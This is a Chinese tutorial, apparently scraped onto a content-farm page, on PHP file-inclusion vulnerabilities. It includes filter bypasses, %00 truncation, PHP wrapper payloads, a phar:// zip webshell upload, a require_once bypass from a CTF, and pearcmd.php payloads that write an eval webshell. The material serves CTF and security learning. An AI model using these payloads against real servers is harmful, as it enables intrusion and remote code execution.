当前位置: 首页 > news >正文

青岛建设企业网站外贸网站外链怎么做

青岛建设企业网站,外贸网站外链怎么做,无锡模板建站,成功案例 网站文件包含 文件包含漏洞原理 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入 include:包含并运行指定的文件&…

文件包含

文件包含漏洞原理

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:检查这个文件是否已经被导入,如果已导入,便不会再导入。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。

文件包含类型

本地包含(LFI)

能够读取或执行包含本地文件

远程包含(RFI)

allow_url_fopen和allow_url_include要为On

文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞

文件包含前提

1. 程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件
2. 用户能够控制该动态变量
3. 要保证 php.ini allow_url_fopen 和allow_url_include 要为 On

文件包含常见防御及绕过方式

双写绕过

<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );?> 

str_replace() 函数替换字符串中的一些字符(区分大小写)。

这里我们以'../'为例:  '..././'中的'../'被去除,则'..././'变为'../'以此来绕过

截断

<?php$file = $_GET['file'];include '/var/www/html/'.$file.'/test/test.php';?>

 这里对文件位置进行了限制,比较“难”去包含前面提到的种种文件

1、%00 截断

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效

?file=../../../../../../../../../etc/passwd%00

2、%00 截断目录遍历

需要 magic_quotes_gpc=off

?file=../../../../../../../../../var/www/%00

3、路径长度截断

php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

PHP 中的封装协议(伪协议)

file:///var/www/html 访问本地文件系统

ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs

data:// 数据流

http:// — 访问 HTTP(s) URLs

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流

zlib:// — 压缩流

data:// — Data (RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — Audio streams

expect:// — 处理交互式的流

file:// 

本地文件传输协议,File协议主要用于访问本地计算机中的文件

php://

 data://

  • allow_url_fopen :on
  • allow_url_include:on
    ?file=data:text/plain,<?php phpinfo();?>?file=data:text/plain;base64,base64编码的payload

 php://input

php://input是个可以访问请求的原始数据的只读流

allow_url_include = On。

对 allow_url_fopen 不做要求。

 filter:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

 更多关于php://filter的妙用还可以读P神的这篇文章

谈一谈php://filter的妙用

phar://

数据流包装器。phar的本质是一种压缩文件。

这里我们一一道题目为例

 该靶场下存在一个about.inc文件

而url中却显示的是这样,猜测后端代码应该是包含了

include $_GET['moudle'].'.inc';

我们可以先写一个小马,再将小马以zip格式压缩,并将压缩后的文件后缀名改为.png上传

 再来用phar://来解析

 小马成功运行蚁剑连接

 我们再来看一下后端代码

 确实如此

zip://

php 版本大于等于 php5.3.0

若是使用相对路径,则会包含失败。

协议原型:zip://archive.zip(压缩包名称)#dir/file.txt(压缩文件名称)

注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突(%23)

 其他有关文件包含的知识

require_once 绕过不能重复包含文件的限制

以[WMCTF2020]Make PHP Great Again为例

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

 php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中

我们都知道require_once在调用时php会检查该文件是否已经被包含过,而这里在前面就已经包含了文件,我们在后面再想包含'flag.php'时就不能实现了,而我们需要做到就是怎么绕过这个哈希表,让php认为我们传入的文件名不在哈希表中,又可以让php能找到这个文件,读取到内容。

payload=?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

 详情原理可看此篇文章

php源码分析 require_once 绕过不能重复包含文件的限制

pearcmd.php到getshell

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。

 pear中可以利用的参数:

 我们以一题为例:

源码如下

 <?php
#flag is in flag.php
error_reporting(0);
show_source(__FILE__);
#No session.upload_progress!!!!
ini_set("session.auto_start","0");
ini_set("session.use_strict_mode","1");
$path=$_GET['path'];
if(is_null($path))
exit("<br>input sth bro~<br>");
echo "<br>you input=>".$path;
#No PHP protocol!
if(preg_match("/filter|input|data|phar|http|https|zlib|glob|rar|ogg|expect|ftp/i",$path)===0){#No loggggggggggggggg~if(preg_match("/log|access|error/i",$path)===0){if(preg_match("/flag/i",$path)===0){echo "<br>U did it!<br>";include $path;}else{exit("<br>oh nooooooooo~<br>");}}else{exit("<br>log file?oh nooooooo~<br>");}
}else{exit("<br>no protocol~<br>");
}
?> 

禁止了session.upload_progress,禁止了伪协议读取,也禁止了文件包含日志文件

这里我们可以包含到pear中的文件,进而利用其中的特性来搞事。

config-create(创建默认配置文件),这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

payload:?path=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[cmd]);?>+/tmp/fuck.php
payload:?+config-create+/&path=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[cmd]);?>+/tmp/fuck.php

 这两个payload是一样的,最好在BP上进行写入webshell,因为在浏览器上<>会自动url转码,这样会导致写入失败

 更加详细的原理参考P神文章

Docker PHP裸文件本地包含综述

http://www.yayakq.cn/news/684788/

相关文章:

  • 创意设计一个网站wordpress 分类目录 子目录
  • 福田做网站的三明seo优化
  • 嘉兴市建设官方网站免费上外国网站的浏览器
  • 公司自己买服务器建设网站网业认证怎么认证
  • 做网站要用什么软件图文教程个人门户网站备案
  • 北京谁会做网站开发wordpress导出word
  • 做的网站为什么图片看不了怎么回事做购物网站写数据库的流程
  • 一分钟建设网站做的网站有广告
  • 免费建站哪里找it运维是什么工作
  • 专门做悬疑推理小说的阅读网站建设工程律师
  • 网站的结构怎么做网站开发质量控制计划书
  • 设计网站技术wordpress+4+chm
  • WordPress全球用户量2019aso关键词搜索优化
  • 动态交互图网站腾讯邮箱企业邮箱入口网址
  • 宿迁网站推广公司网站开发类投标文件
  • 做网站许昌新塘网站建设
  • 青岛做网站公司哪家好wed网站
  • 江西网站做的好的企业装修公司加盟哪个好
  • 网站后台建设费用秦皇岛公司做网站
  • 上海网站建设技巧镇江微淘软件开发
  • 百度最新秒收录方法2023深圳公关公司首荐乐云seo
  • 网站建设 化工网站建设语录
  • 宁波高端网站建设联系方式网页版微信二维码失效怎么恢复
  • 网上商城网站建设解决方案如何免费建立自己的网站
  • 外行做网站wordpress源代码下载
  • 网站建设目录规范惠州制作网站软件
  • 衡水网站制作报价什么是静态页面网站
  • 一个服务器下怎么做两个网站如何注册域名?成本多少
  • 可以建网站的网络公司有哪些wordpress照片记录模板
  • 汽车之家网站营销型网站与普通网站的比较